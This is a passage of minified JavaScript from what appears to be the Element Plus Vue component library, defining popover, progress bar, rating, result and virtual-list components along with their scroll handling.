"+We(p.title),1)],2),ne("div",{class:F(d(o).e("action"))},[ae(d(dr),{size:"small",type:p.cancelButtonType==="text"?"":p.cancelButtonType,text:p.cancelButtonType==="text",onClick:u},{default:fe(()=>[Kt(We(d(f)),1)]),_:1},8,["type","text"]),ae(d(dr),{size:"small",type:p.confirmButtonType==="text"?"":p.confirmButtonType,text:p.confirmButtonType==="text",onClick:l},{default:fe(()=>[Kt(We(d(c)),1)]),_:1},8,["type","text"])],2)],2)]),default:fe(()=>[p.$slots.reference?qe(p.$slots,"reference",{key:0}):pe("v-if",!0)]),_:3},16,["popper-class","popper-style","teleported","hide-after","persistent"]))}});var $ae=Ye(_ae,[["__file","popconfirm.vue"]]);const ele=It($ae),tle=Ge({trigger:Td.trigger,placement:jh.placement,disabled:Td.disabled,visible:yr.visible,transition:yr.transition,popperOptions:jh.popperOptions,tabindex:jh.tabindex,content:yr.content,popperStyle:yr.popperStyle,popperClass:yr.popperClass,enterable:{...yr.enterable,default:!0},effect:{...yr.effect,default:"light"},teleported:yr.teleported,title:String,width:{type:[String,Number],default:150},offset:{type:Number,default:void 0},showAfter:{type:Number,default:0},hideAfter:{type:Number,default:200},autoClose:{type:Number,default:0},showArrow:{type:Boolean,default:!0},persistent:{type:Boolean,default:!0},"onUpdate:visible":{type:Function}}),nle={"update:visible":e=>Un(e),"before-enter":()=>!0,"before-leave":()=>!0,"after-enter":()=>!0,"after-leave":()=>!0},rle="onUpdate:visible",ole=ie({name:"ElPopover"}),ile=ie({...ole,props:tle,emits:nle,setup(e,{expose:t,emit:n}){const r=e,o=N(()=>r[rle]),i=Oe("popover"),s=D(),a=N(()=>{var I;return(I=d(s))==null?void 0:I.popperRef}),l=N(()=>[{width:Yn(r.width)},r.popperStyle]),u=N(()=>[i.b(),r.popperClass,{[i.m("plain")]:!!r.content}]),c=N(()=>r.transition===`${i.namespace.value}-fade-in-linear`),f=()=>{var I;(I=s.value)==null||I.hide()},p=()=>{n("before-enter")},m=()=>{n("before-leave")},g=()=>{n("after-enter")},v=()=>{n("update:visible",!1),n("after-leave")};return t({popperRef:a,hide:f}),(I,q)=>(B(),ye(d(Vr),xt({ref_key:"tooltipRef",ref:s},I.$attrs,{trigger:I.trigger,placement:I.placement,disabled:I.disabled,visible:I.visible,transition:I.transition,"popper-options":I.popperOptions,tabindex:I.tabindex,content:I.content,offset:I.offset,"show-after":I.showAfter,"hide-after":I.hideAfter,"auto-close":I.autoClose,"show-arrow":I.showArrow,"aria-label":I.title,effect:I.effect,enterable:I.enterable,"popper-class":d(u),"popper-style":d(l),teleported:I.teleported,persistent:I.persistent,"gpu-acceleration":d(c),"onUpdate:visible":d(o),onBeforeShow:p,onBeforeHide:m,onShow:g,onHide:v}),{content:fe(()=>[I.title?(B(),_("div",{key:0,class:F(d(i).e("title")),role:"title"},We(I.title),3)):pe("v-if",!0),qe(I.$slots,"default",{},()=>[Kt(We(I.content),1)])]),default:fe(()=>[I.$slots.reference?qe(I.$slots,"reference",{key:0}):pe("v-if",!0)]),_:3},16,["trigger","placement","disabled","visible","transition","popper-options","tabindex","content","offset","show-after","hide-after","auto-close","show-arrow","aria-label","effect","enterable","popper-class","popper-style","teleported","persistent","gpu-acceleration","onUpdate:visible"]))}});var sle=Ye(ile,[["__file","popover.vue"]]);const u7=(e,t)=>{const n=t.arg||t.value,r=n==null?void 0:n.popperRef;r&&(r.triggerRef=e)};var ale={mounted(e,t){u7(e,t)},updated(e,t){u7(e,t)}};const lle="popover",Kx=aH(ale,lle),ule=It(sle,{directive:Kx}),cle=Ge({type:{type:String,default:"line",values:["line","circle","dashboard"]},percentage:{type:Number,default:0,validator:e=>e>=0&&e<=100},status:{type:String,default:"",values:["","success","exception","warning"]},indeterminate:{type:Boolean,default:!1},duration:{type:Number,default:3},strokeWidth:{type:Number,default:6},strokeLinecap:{type:he(String),default:"round"},textInside:{type:Boolean,default:!1},width:{type:Number,default:126},showText:{type:Boolean,default:!0},color:{type:he([String,Array,Function]),default:""},striped:Boolean,stripedFlow:Boolean,format:{type:he(Function),default:e=>`${e}%`}}),dle=["aria-valuenow"],fle={viewBox:"0 0 100 100"},hle=["d","stroke","stroke-linecap","stroke-width"],ple=["d","stroke","opacity","stroke-linecap","stroke-width"],mle={key:0},vle=ie({name:"ElProgress"}),gle=ie({...vle,props:cle,setup(e){const t=e,n={success:"#13ce66",exception:"#ff4949",warning:"#e6a23c",default:"#20a0ff"},r=Oe("progress"),o=N(()=>({width:`${t.percentage}%`,animationDuration:`${t.duration}s`,backgroundColor:M(t.percentage)})),i=N(()=>(t.strokeWidth/t.width*100).toFixed(1)),s=N(()=>["circle","dashboard"].includes(t.type)?Number.parseInt(`${50-Number.parseFloat(i.value)/2}`,10):0),a=N(()=>{const E=s.value,x=t.type==="dashboard";return`
          M 50 50
          m 0 ${x?"":"-"}${E}
          a ${E} ${E} 0 1 1 0 ${x?"-":""}${E*2}
          a ${E} ${E} 0 1 1 0 ${x?"":"-"}${E*2}
          `}),l=N(()=>2*Math.PI*s.value),u=N(()=>t.type==="dashboard"?.75:1),c=N(()=>`${-1*l.value*(1-u.value)/2}px`),f=N(()=>({strokeDasharray:`${l.value*u.value}px, ${l.value}px`,strokeDashoffset:c.value})),p=N(()=>({strokeDasharray:`${l.value*u.value*(t.percentage/100)}px, ${l.value}px`,strokeDashoffset:c.value,transition:"stroke-dasharray 0.6s ease 0s, stroke 0.6s ease, opacity ease 0.6s"})),m=N(()=>{let E;return t.color?E=M(t.percentage):E=n[t.status]||n.default,E}),g=N(()=>t.status==="warning"?Rm:t.type==="line"?t.status==="success"?Z1:qa:t.status==="success"?uf:fi),v=N(()=>t.type==="line"?12+t.strokeWidth*.4:t.width*.111111+2),I=N(()=>t.format(t.percentage));function q(E){const x=100/E.length;return E.map((K,W)=>st(K)?{color:K,percentage:(W+1)*x}:K).sort((K,W)=>K.percentage-W.percentage)}const M=E=>{var x;const{color:R}=t;if(ot(R))return R(E);if(st(R))return R;{const K=q(R);for(const W of K)if(W.percentage>E)return W.color;return(x=K[K.length-1])==null?void 0:x.color}};return(E,x)=>(B(),_("div",{class:F([d(r).b(),d(r).m(E.type),d(r).is(E.status),{[d(r).m("without-text")]:!E.showText,[d(r).m("text-inside")]:E.textInside}]),role:"progressbar","aria-valuenow":E.percentage,"aria-valuemin":"0","aria-valuemax":"100"},[E.type==="line"?(B(),_("div",{key:0,class:F(d(r).b("bar"))},[ne("div",{class:F(d(r).be("bar","outer")),style:De({height:`${E.strokeWidth}px`})},[ne("div",{class:F([d(r).be("bar","inner"),{[d(r).bem("bar","inner","indeterminate")]:E.indeterminate},{[d(r).bem("bar","inner","striped")]:E.striped},{[d(r).bem("bar","inner","striped-flow")]:E.stripedFlow}]),style:De(d(o))},[(E.showText||E.$slots.default)&&E.textInside?(B(),_("div",{key:0,class:F(d(r).be("bar","innerText"))},[qe(E.$slots,"default",{percentage:E.percentage},()=>[ne("span",null,We(d(I)),1)])],2)):pe("v-if",!0)],6)],6)],2)):(B(),_("div",{key:1,class:F(d(r).b("circle")),style:De({height:`${E.width}px`,width:`${E.width}px`})},[(B(),_("svg",fle,[ne("path",{class:F(d(r).be("circle","track")),d:d(a),stroke:`var(${d(r).cssVarName("fill-color-light")}, #e5e9f2)`,"stroke-linecap":E.strokeLinecap,"stroke-width":d(i),fill:"none",style:De(d(f))},null,14,hle),ne("path",{class:F(d(r).be("circle","path")),d:d(a),stroke:d(m),fill:"none",opacity:E.percentage?1:0,"stroke-linecap":E.strokeLinecap,"stroke-width":d(i),style:De(d(p))},null,14,ple)]))],6)),(E.showText||E.$slots.default)&&!E.textInside?(B(),_("div",{key:2,class:F(d(r).e("text")),style:De({fontSize:`${d(v)}px`})},[qe(E.$slots,"default",{percentage:E.percentage},()=>[E.status?(B(),ye(d(Pe),{key:1},{default:fe(()=>[(B(),ye(Et(d(g))))]),_:1})):(B(),_("span",mle,We(d(I)),1))])],6)):pe("v-if",!0)],10,dle))}});var yle=Ye(gle,[["__file","progress.vue"]]);const Rx=It(yle),ble=Ge({modelValue:{type:Number,default:0},id:{type:String,default:void 0},lowThreshold:{type:Number,default:2},highThreshold:{type:Number,default:4},max:{type:Number,default:5},colors:{type:he([Array,Object]),default:()=>Mn(["","",""])},voidColor:{type:String,default:""},disabledVoidColor:{type:String,default:""},icons:{type:he([Array,Object]),default:()=>[Wf,Wf,Wf]},voidIcon:{type:cn,default:()=>_F},disabledVoidIcon:{type:cn,default:()=>Wf},disabled:Boolean,allowHalf:Boolean,showText:Boolean,showScore:Boolean,textColor:{type:String,default:""},texts:{type:he(Array),default:()=>Mn(["Extremely bad","Disappointed","Fair","Satisfied","Surprise"])},scoreTemplate:{type:String,default:"{value}"},size:fr,label:{type:String,default:void 0},clearable:{type:Boolean,default:!1}}),Ile={[qn]:e=>nt(e),[St]:e=>nt(e)},qle=["id","aria-label","aria-labelledby","aria-valuenow","aria-valuetext","aria-valuemax"],wle=["onMousemove","onClick"],Sle=ie({name:"ElRate"}),Ele=ie({...Sle,props:ble,emits:Ile,setup(e,{expose:t,emit:n}){const r=e;function o(w,A){const C=k=>At(k),S=Object.keys(A).map(k=>+k).filter(k=>{const y=A[k];return(C(y)?y.excluded:!1)?w<k:w<=k}).sort((k,y)=>k-y),z=A[S[0]];return C(z)&&z.value||z}const i=Fe(Hl,void 0),s=Fe(Yi,void 0),a=nr(),l=Oe("rate"),{inputId:u,isLabeledByFormItem:c}=Fi(r,{formItemContext:s}),f=D(r.modelValue),p=D(-1),m=D(!0),g=N(()=>[l.b(),l.m(a.value)]),v=N(()=>r.disabled||(i==null?void 0:i.disabled)),I=N(()=>l.cssVarBlock({"void-color":r.voidColor,"disabled-void-color":r.disabledVoidColor,"fill-color":x.value})),q=N(()=>{let w="";return r.showScore?w=r.scoreTemplate.replace(/\{\s*value\s*\}/,v.value?`${r.modelValue}`:`${f.value}`):r.showText&&(w=r.texts[Math.ceil(f.value)-1]),w}),M=N(()=>r.modelValue*100-Math.floor(r.modelValue)*100),E=N(()=>Ve(r.colors)?{[r.lowThreshold]:r.colors[0],[r.highThreshold]:{value:r.colors[1],excluded:!0},[r.max]:r.colors[2]}:r.colors),x=N(()=>{const w=o(f.value,E.value);return At(w)?"":w}),R=N(()=>{let w="";return v.value?w=`${M.value}%`:r.allowHalf&&(w="50%"),{color:x.value,width:w}}),K=N(()=>{let w=Ve(r.icons)?[...r.icons]:{...r.icons};return w=fs(w),Ve(w)?{[r.lowThreshold]:w[0],[r.highThreshold]:{value:w[1],excluded:!0},[r.max]:w[2]}:w}),W=N(()=>o(r.modelValue,K.value)),j=N(()=>v.value?st(r.disabledVoidIcon)?r.disabledVoidIcon:fs(r.disabledVoidIcon):st(r.voidIcon)?r.voidIcon:fs(r.voidIcon)),H=N(()=>o(f.value,K.value));function P(w){const A=v.value&&M.value>0&&w-1<r.modelValue&&w>r.modelValue,C=r.allowHalf&&m.value&&w-.5<=f.value&&w>f.value;return A||C}function U(w){r.clearable&&w===r.modelValue&&(w=0),n(St,w),r.modelValue!==w&&n("change",w)}function X(w){v.value||(r.allowHalf&&m.value?U(f.value):U(w))}function L(w){if(v.value)return;let A=f.value;const C=w.code;return C===_e.up||C===_e.right?(r.allowHalf?A+=.5:A+=1,w.stopPropagation(),w.preventDefault()):(C===_e.left||C===_e.down)&&(r.allowHalf?A-=.5:A-=1,w.stopPropagation(),w.preventDefault()),A=A<0?0:A,A=A>r.max?r.max:A,n(St,A),n("change",A),A}function h(w,A){if(!v.value){if(r.allowHalf&&A){let C=A.target;Yo(C,l.e("item"))&&(C=C.querySelector(`.${l.e("icon")}`)),(C.clientWidth===0||Yo(C,l.e("decimal")))&&(C=C.parentNode),m.value=A.offsetX*2<=C.clientWidth,f.value=m.value?w-.5:w}else f.value=w;p.value=w}}function b(){v.value||(r.allowHalf&&(m.value=r.modelValue!==Math.floor(r.modelValue)),f.value=r.modelValue,p.value=-1)}return Ce(()=>r.modelValue,w=>{f.value=w,m.value=r.modelValue!==Math.floor(r.modelValue)}),r.modelValue||n(St,0),t({setCurrentValue:h,resetCurrentValue:b}),(w,A)=>{var C;return B(),_("div",{id:d(u),class:F([d(g),d(l).is("disabled",d(v))]),role:"slider","aria-label":d(c)?void 0:w.label||"rating","aria-labelledby":d(c)?(C=d(s))==null?void 0:C.labelId:void 0,"aria-valuenow":f.value,"aria-valuetext":d(q)||void 0,"aria-valuemin":"0","aria-valuemax":w.max,tabindex:"0",style:De(d(I)),onKeydown:L},[(B(!0),_(Qe,null,Lt(w.max,(S,z)=>(B(),_("span",{key:z,class:F(d(l).e("item")),onMousemove:k=>h(S,k),onMouseleave:b,onClick:k=>X(S)},[ae(d(Pe),{class:F([d(l).e("icon"),{hover:p.value===S},d(l).is("active",S<=f.value)])},{default:fe(()=>[P(S)?pe("v-if",!0):(B(),_(Qe,{key:0},[ft((B(),ye(Et(d(H)),null,null,512)),[[_t,S<=f.value]]),ft((B(),ye(Et(d(j)),null,null,512)),[[_t,!(S<=f.value)]])],64)),P(S)?(B(),_(Qe,{key:1},[(B(),ye(Et(d(j)),{class:F([d(l).em("decimal","box")])},null,8,["class"])),ae(d(Pe),{style:De(d(R)),class:F([d(l).e("icon"),d(l).e("decimal")])},{default:fe(()=>[(B(),ye(Et(d(W))))]),_:1},8,["style","class"])],64)):pe("v-if",!0)]),_:2},1032,["class"])],42,wle))),128)),w.showText||w.showScore?(B(),_("span",{key:0,class:F(d(l).e("text")),style:De({color:w.textColor})},We(d(q)),7)):pe("v-if",!0)],46,qle)}}});var Ale=Ye(Ele,[["__file","rate.vue"]]);const Mle=It(Ale),wu={success:"icon-success",warning:"icon-warning",error:"icon-error",info:"icon-info"},c7={[wu.success]:cF,[wu.warning]:Rm,[wu.error]:T1,[wu.info]:N1},Cle=Ge({title:{type:String,default:""},subTitle:{type:String,default:""},icon:{type:String,values:["success","warning","info","error"],default:"info"}}),kle=ie({name:"ElResult"}),xle=ie({...kle,props:Cle,setup(e){const t=e,n=Oe("result"),r=N(()=>{const o=t.icon,i=o&&wu[o]?wu[o]:"icon-info",s=c7[i]||c7["icon-info"];return{class:i,component:s}});return(o,i)=>(B(),_("div",{class:F(d(n).b())},[ne("div",{class:F(d(n).e("icon"))},[qe(o.$slots,"icon",{},()=>[d(r).component?(B(),ye(Et(d(r).component),{key:0,class:F(d(r).class)},null,8,["class"])):pe("v-if",!0)])],2),o.title||o.$slots.title?(B(),_("div",{key:0,class:F(d(n).e("title"))},[qe(o.$slots,"title",{},()=>[ne("p",null,We(o.title),1)])],2)):pe("v-if",!0),o.subTitle||o.$slots["sub-title"]?(B(),_("div",{key:1,class:F(d(n).e("subtitle"))},[qe(o.$slots,"sub-title",{},()=>[ne("p",null,We(o.subTitle),1)])],2)):pe("v-if",!0),o.$slots.extra?(B(),_("div",{key:2,class:F(d(n).e("extra"))},[qe(o.$slots,"extra")],2)):pe("v-if",!0)],2))}});var Ole=Ye(xle,[["__file","result.vue"]]);const zle=It(Ole);var d7=Number.isNaN||function(t){return typeof t=="number"&&t!==t};function Kle(e,t){return!!(e===t||d7(e)&&d7(t))}function Rle(e,t){if(e.length!==t.length)return!1;for(var n=0;n<e.length;n++)if(!Kle(e[n],t[n]))return!1;return!0}function Lle(e,t){t===void 0&&(t=Rle);var n=null;function r(){for(var o=[],i=0;i<arguments.length;i++)o[i]=arguments[i];if(n&&n.lastThis===this&&t(o,n.lastArgs))return n.lastResult;var s=e.apply(this,o);return n={lastResult:s,lastArgs:o,lastThis:this},s}return r.clear=function(){n=null},r}const Lx=()=>{const t=bt().proxy.$props;return N(()=>{const n=(r,o,i)=>({});return t.perfMode?xm(n):Lle(n)})},py=50,Zp="itemRendered",Tp="scroll",Su="forward",Np="backward",jo="auto",Hm="smart",Wd="start",Ki="center",Gd="end",sc="horizontal",MI="vertical",Zle="ltr",Nu="rtl",Yd="negative",CI="positive-ascending",kI="positive-descending",Tle={[sc]:"left",[MI]:"top"},Nle=20,jle={[sc]:"deltaX",[MI]:"deltaY"},Wle=({atEndEdge:e,atStartEdge:t,layout:n},r)=>{let o,i=0;const s=l=>l<0&&t.value||l>0&&e.value;return{hasReachedEdge:s,onWheel:l=>{kl(o);const u=l[jle[n.value]];s(i)&&s(i+u)||(i+=u,r3()||l.preventDefault(),o=ma(()=>{r(i),i=0}))}}},my=pi({type:he([Number,Function]),required:!0}),vy=pi({type:Number}),gy=pi({type:Number,default:2}),Gle=pi({type:String,values:["ltr","rtl"],default:"ltr"}),yy=pi({type:Number,default:0}),jp=pi({type:Number,required:!0}),Zx=pi({type:String,values:["horizontal","vertical"],default:MI}),Tx=Ge({className:{type:String,default:""},containerElement:{type:he([String,Object]),default:"div"},data:{type:he(Array),default:()=>Mn([])},direction:Gle,height:{type:[String,Number],required:!0},innerElement:{type:[String,Object],default:"div"},style:{type:he([Object,String,Array])},useIsScrolling:{type:Boolean,default:!1},width:{type:[Number,String],required:!1},perfMode:{type:Boolean,default:!0},scrollbarAlwaysOn:{type:Boolean,default:!1}}),Nx=Ge({cache:gy,estimatedItemSize:vy,layout:Zx,initScrollOffset:yy,total:jp,itemSize:my,...Tx}),by={type:Number,default:6},jx={type:Number,default:0},Wx={type:Number,default:2},gl=Ge({columnCache:gy,columnWidth:my,estimatedColumnWidth:vy,estimatedRowHeight:vy,initScrollLeft:yy,initScrollTop:yy,itemKey:{type:he(Function),default:({columnIndex:e,rowIndex:t})=>`${t}:${e}`},rowCache:gy,rowHeight:my,totalColumn:jp,totalRow:jp,hScrollbarSize:by,vScrollbarSize:by,scrollbarStartGap:jx,scrollbarEndGap:Wx,role:String,...Tx}),Gx=Ge({alwaysOn:Boolean,class:String,layout:Zx,total:jp,ratio:{type:Number,required:!0},clientSize:{type:Number,required:!0},scrollFrom:{type:Number,required:!0},scrollbarSize:by,startGap:jx,endGap:Wx,visible:Boolean}),rl=(e,t)=>e<t?Su:Np,Bd=e=>e===Zle||e===Nu||e===sc,f7=e=>e===Nu;let ru=null;function Wp(e=!1){if(ru===null||e){const t=document.createElement("div"),n=t.style;n.width="50px",n.height="50px",n.overflow="scroll",n.direction="rtl";const r=document.createElement("div"),o=r.style;return o.width="100px",o.height="100px",t.appendChild(r),document.body.appendChild(t),t.scrollLeft>0?ru=kI:(t.scrollLeft=1,t.scrollLeft===0?ru=Yd:ru=CI),document.body.removeChild(t),ru}return ru}function Yle({move:e,size:t,bar:n},r){const o={},i=`translate${n.axis}(${e}px)`;return o[n.size]=t,o.transform=i,o.msTransform=i,o.webkitTransform=i,r==="horizontal"?o.height="100%":o.width="100%",o}const Iy=ie({name:"ElVirtualScrollBar",props:Gx,emits:["scroll","start-move","stop-move"],setup(e,{emit:t}){const n=N(()=>e.startGap+e.endGap),r=Oe("virtual-scrollbar"),o=Oe("scrollbar"),i=D(),s=D();let a=null,l=null;const u=$t({isDragging:!1,traveled:0}),c=N(()=>W6[e.layout]),f=N(()=>e.clientSize-d(n)),p=N(()=>({position:"absolute",width:`${sc===e.layout?f.value:e.scrollbarSize}px`,height:`${sc===e.layout?e.scrollbarSize:f.value}px`,[Tle[e.layout]]:"2px",right:"2px",bottom:"2px",borderRadius:"4px"})),m=N(()=>{const K=e.ratio,W=e.clientSize;if(K>=100)return Number.POSITIVE_INFINITY;if(K>=50)return K*W/100;const j=W/3;return Math.floor(Math.min(Math.max(K*W,Nle),j))}),g=N(()=>{if(!Number.isFinite(m.value))return{display:"none"};const K=`${m.value}px`;return Yle({bar:c.value,size:K,move:u.traveled},e.layout)}),v=N(()=>Math.floor(e.clientSize-m.value-d(n))),I=()=>{window.addEventListener("mousemove",x),window.addEventListener("mouseup",E);const K=d(s);K&&(l=document.onselectstart,document.onselectstart=()=>!1,K.addEventListener("touchmove",x),K.addEventListener("touchend",E))},q=()=>{window.removeEventListener("mousemove",x),window.removeEventListener("mouseup",E),document.onselectstart=l,l=null;const K=d(s);K&&(K.removeEventListener("touchmove",x),K.removeEventListener("touchend",E))},M=K=>{K.stopImmediatePropagation(),!(K.ctrlKey||[1,2].includes(K.button))&&(u.isDragging=!0,u[c.value.axis]=K.currentTarget[c.value.offset]-(K[c.value.client]-K.currentTarget.getBoundingClientRect()[c.value.direction]),t("start-move"),I())},E=()=>{u.isDragging=!1,u[c.value.axis]=0,t("stop-move"),q()},x=K=>{const{isDragging:W}=u;if(!W||!s.value||!i.value)return;const j=u[c.value.axis];if(!j)return;kl(a);const H=(i.value.getBoundingClientRect()[c.value.direction]-K[c.value.client])*-1,P=s.value[c.value.offset]-j,U=H-P;a=ma(()=>{u.traveled=Math.max(e.startGap,Math.min(U,v.value)),t("scroll",U,v.value)})},R=K=>{const W=Math.abs(K.target.getBoundingClientRect()[c.value.direction]-K[c.value.client]),j=s.value[c.value.offset]/2,H=W-j;u.traveled=Math.max(0,Math.min(H,v.value)),t("scroll",H,v.value)};return Ce(()=>e.scrollFrom,K=>{u.isDragging||(u.traveled=Math.ceil(K*v.value))}),vn(()=>{q()}),()=>tt("div",{role:"presentation",ref:i,class:[r.b(),e.class,(e.alwaysOn||u.isDragging)&&"always-on"],style:p.value,onMousedown:rt(R,["stop","prevent"]),onTouchstartPrevent:M},tt("div",{ref:s,class:o.e("thumb"),style:g.value,onMousedown:M},[]))}}),Yx=({name:e,getOffset:t,getItemSize:n,getItemOffset:r,getEstimatedTotalSize:o,getStartIndexForOffset:i,getStopIndexForStartIndex:s,initCache:a,clearCache:l,validateProps:u})=>ie({name:e??"ElVirtualList",props:Nx,emits:[Zp,Tp],setup(c,{emit:f,expose:p}){u(c);const m=bt(),g=Oe("vl"),v=D(a(c,m)),I=Lx(),q=D(),M=D(),E=D(),x=D({isScrolling:!1,scrollDir:"forward",scrollOffset:nt(c.initScrollOffset)?c.initScrollOffset:0,updateRequested:!1,isScrollbarDragging:!1,scrollbarAlwaysOn:c.scrollbarAlwaysOn}),R=N(()=>{const{total:T,cache:te}=c,{isScrolling:le,scrollDir:re,scrollOffset:de}=d(x);if(T===0)return[0,0,0,0];const ce=i(c,de,d(v)),we=s(c,ce,de,d(v)),Ie=!le||re===Np?Math.max(1,te):1,ge=!le||re===Su?Math.max(1,te):1;return[Math.max(0,ce-Ie),Math.max(0,Math.min(T-1,we+ge)),ce,we]}),K=N(()=>o(c,d(v))),W=N(()=>Bd(c.layout)),j=N(()=>[{position:"relative",[`overflow-${W.value?"x":"y"}`]:"scroll",WebkitOverflowScrolling:"touch",willChange:"transform"},{direction:c.direction,height:nt(c.height)?`${c.height}px`:c.height,width:nt(c.width)?`${c.width}px`:c.width},c.style]),H=N(()=>{const T=d(K),te=d(W);return{height:te?"100%":`${T}px`,pointerEvents:d(x).isScrolling?"none":void 0,width:te?`${T}px`:"100%"}}),P=N(()=>W.value?c.width:c.height),{onWheel:U}=Wle({atStartEdge:N(()=>x.value.scrollOffset<=0),atEndEdge:N(()=>x.value.scrollOffset>=K.value),layout:N(()=>c.layout)},T=>{var te,le;(le=(te=E.value).onMouseUp)==null||le.call(te),A(Math.min(x.value.scrollOffset+T,K.value-P.value))}),X=()=>{const{total:T}=c;if(T>0){const[de,ce,we,Ie]=d(R);f(Zp,de,ce,we,Ie)}const{scrollDir:te,scrollOffset:le,updateRequested:re}=d(x);f(Tp,te,le,re)},L=T=>{const{clientHeight:te,scrollHeight:le,scrollTop:re}=T.currentTarget,de=d(x);if(de.scrollOffset===re)return;const ce=Math.max(0,Math.min(re,le-te));x.value={...de,isScrolling:!0,scrollDir:rl(de.scrollOffset,ce),scrollOffset:ce,updateRequested:!1},$e(z)},h=T=>{const{clientWidth:te,scrollLeft:le,scrollWidth:re}=T.currentTarget,de=d(x);if(de.scrollOffset===le)return;const{direction:ce}=c;let we=le;if(ce===Nu)switch(Wp()){case Yd:{we=-le;break}case kI:{we=re-te-le;break}}we=Math.max(0,Math.min(we,re-te)),x.value={...de,isScrolling:!0,scrollDir:rl(de.scrollOffset,we),scrollOffset:we,updateRequested:!1},$e(z)},b=T=>{d(W)?h(T):L(T),X()},w=(T,te)=>{const le=(K.value-P.value)/te*T;A(Math.min(K.value-P.value,le))},A=T=>{T=Math.max(T,0),T!==d(x).scrollOffset&&(x.value={...d(x),scrollOffset:T,scrollDir:rl(d(x).scrollOffset,T),updateRequested:!0},$e(z))},C=(T,te=jo)=>{const{scrollOffset:le}=d(x);T=Math.max(0,Math.min(T,c.total-1)),A(t(c,T,te,le,d(v)))},S=T=>{const{direction:te,itemSize:le,layout:re}=c,de=I.value(l&&le,l&&re,l&&te);let ce;if(Gt(de,String(T)))ce=de[T];else{const we=r(c,T,d(v)),Ie=n(c,T,d(v)),ge=d(W),Me=te===Nu,se=ge?we:0;de[T]=ce={position:"absolute",left:Me?void 0:`${se}px`,right:Me?`${se}px`:void 0,top:ge?0:`${we}px`,height:ge?"100%":`${Ie}px`,width:ge?`${Ie}px`:"100%"}}return ce},z=()=>{x.value.isScrolling=!1,$e(()=>{I.value(-1,null,null)})},k=()=>{const T=q.value;T&&(T.scrollTop=0)};mt(()=>{if(!Tt)return;const{initScrollOffset:T}=c,te=d(q);nt(T)&&te&&(d(W)?te.scrollLeft=T:te.scrollTop=T),X()}),ws(()=>{const{direction:T,layout:te}=c,{scrollOffset:le,updateRequested:re}=d(x),de=d(q);if(re&&de)if(te===sc)if(T===Nu)switch(Wp()){case Yd:{de.scrollLeft=-le;break}case CI:{de.scrollLeft=le;break}default:{const{clientWidth:ce,scrollWidth:we}=de;de.scrollLeft=we-ce-le;break}}else de.scrollLeft=le;else de.scrollTop=le});const y={ns:g,clientSize:P,estimatedTotalSize:K,windowStyle:j,windowRef:q,innerRef:M,innerStyle:H,itemsToRender:R,scrollbarRef:E,states:x,getItemStyle:S,onScroll:b,onScrollbarScroll:w,onWheel:U,scrollTo:A,scrollToItem:C,resetScrollTop:k};return p({windowRef:q,innerRef:M,getItemStyleCache:I,scrollTo:A,scrollToItem:C,resetScrollTop:k,states:x}),y},render(c){var f;const{$slots:p,className:m,clientSize:g,containerElement:v,data:I,getItemStyle:q,innerElement:M,itemsToRender:E,innerStyle:x,layout:R,total:K,onScroll:W,onScrollbarScroll:j,onWheel:H,states:P,useIsScrolling:U,windowStyle:X,ns:L}=c,[h,b]=E,w=Et(v),A=Et(M),C=[];if(K>0)for(let y=h;y<=b;y++)C.push((f=p.default)==null?void 0:f.call(p,{data:I,key:y,index:y,isScrolling:U?P.isScrolling:void 0,style:q(y)}));const S=[tt(A,{style:x,ref:"innerRef"},st(A)?C:{default:()=>C})],z=tt(Iy,{ref:"scrollbarRef",clientSize:g,layout:R,onScroll:j,ratio:g*100/this.estimatedTotalSize,scrollFrom:P.scrollOffset/(this.estimatedTotalSize-g),total:K}),k=tt(w,{class:[L.e("window"),m],style:X,onScroll:W,onWheel:H,ref:"windowRef",key:0},st(w)?[S]:{default:()=>[S]});return tt("div",{key:0,class:[L.e("wrapper"),P.scrollbarAlwaysOn?"always-on":""]},[k,z])}}),Bx=Yx({name:"ElFixedSizeList",getItemOffset:({itemSize:e},t)=>t*e,getItemSize:({itemSize:e})=>e,getEstimatedTotalSize:({total:e,itemSize:t})=>t*e,getOffset:({height:e,total:t,itemSize:n,layout:r,width:o},i,s,a)=>{const l=Bd(r)?o:e,u=Math.max(0,t*n-l),c=Math.min(u,i*n),f=Math.max(0,(i+1)*n-l);switch(s===Hm&&(a>=f-l&&a<=c+l?s=jo:s=Ki),s){case Wd:return c;case Gd:return f;case Ki:{const p=Math.round(f+(c-f)/2);return p<Math.ceil(l/2)?0:p>u+Math.floor(l/2)?u:p}case jo:default:return a>=f&&a<=c?a:a<f?f:c}},getStartIndexForOffset:({total:e,itemSize:t},n)=>Math.max(0,Math.min(e-1,Math.floor(n/t))),getStopIndexForStartIndex:({height:e,total:t,itemSize:n,layout:r,width:o},i,s)=>{const a=i*n,l=Bd(r)?o:e,u=Math.ceil((l+s-a)/n);return Math.max(0,Math.min(t-1,i+u-1))},initCache(){},clearCache:!0,validateProps(){}}),Eu=(e,t,n)=>{const{itemSize:r}=e,{items:o,lastVisitedIndex:i}=n;if(t>i){let s=0;if(i>=0){const a=o[i];s=a.offset+a.size}for(let a=i+1;a<=t;a++){const l=r(a);o[a]={offset:s,size:l},s+=l}n.lastVisitedIndex=t}return o[t]},Ble=(e,t,n)=>{const{items:r,lastVisitedIndex:o}=t;return(o>0?r[o].offset:0)>=n?Jx(e,t,0,o,n):Jle(e,t,Math.max(0,o),n)},Jx=(e,t,n,r,o)=>{for(;n<=r;){const i=n+Math.floor((r-n)/2),s=Eu(e,i,t).offset;if(s===o)return i;s<o?n=i+1:s>o&&(r=i-1)}return Math.max(0,n-1)},Jle=(e,t,n,r)=>{const{total:o}=e;let i=1;for(;n<o&&Eu(e,n,t).offset<r;)n+=i,i*=2;return Jx(e,t,Math.floor(n/2),Math.min(n,o-1),r)},h7=({total:e},{items:t,estimatedItemSize:n,lastVisitedIndex:r})=>{let o=0;if(r>=e&&(r=e-1),r>=0){const a=t[r];o=a.offset+a.size}const s=(e-r-1)*n;return o+s},Vle=Yx({name:"ElDynamicSizeList",getItemOffset:(e,t,n)=>Eu(e,t,n).offset,getItemSize:(e,t,{items:n})=>n[t].size,getEstimatedTotalSize:h7,getOffset:(e,t,n,r,o)=>{const{height:i,layout:s,width:a}=e,l=Bd(s)?a:i,u=Eu(e,t,o),c=h7(e,o),f=Math.max(0,Math.min(c-l,u.offset)),p=Math.max(0,u.offset-l+u.size);switch(n===Hm&&(r>=p-l&&r<=f+l?n=jo:n=Ki),n){case Wd:return f;case Gd:return p;case Ki:return Math.round(p+(f-p)/2);case jo:default:return 